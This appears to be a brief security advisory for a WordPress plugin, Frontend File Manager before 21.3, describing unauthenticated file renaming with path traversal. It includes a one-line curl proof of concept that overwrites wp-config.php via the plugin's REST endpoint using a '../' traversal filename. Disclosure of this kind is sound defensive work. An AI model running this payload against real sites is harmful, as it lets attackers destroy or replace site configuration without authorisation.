Frontend File Manager < 21.3 - Unauthenticated File Renaming

The plugin allows any unauthenticated user to rename uploaded files from users. Furthermore, due to the lack of validation in the destination filename, this could allow allow them to change the content of arbitrary files on the web server

PoC

curl -i -s -k -X ‘POST’ --data-binary ‘fileid=45&filename;=…/…/…/wp-config.php’ ‘https://example.com/wp-json/wpfm/v1/file-rename’ This will replace the wp-config.php file with the content of the uploaded file with ID 45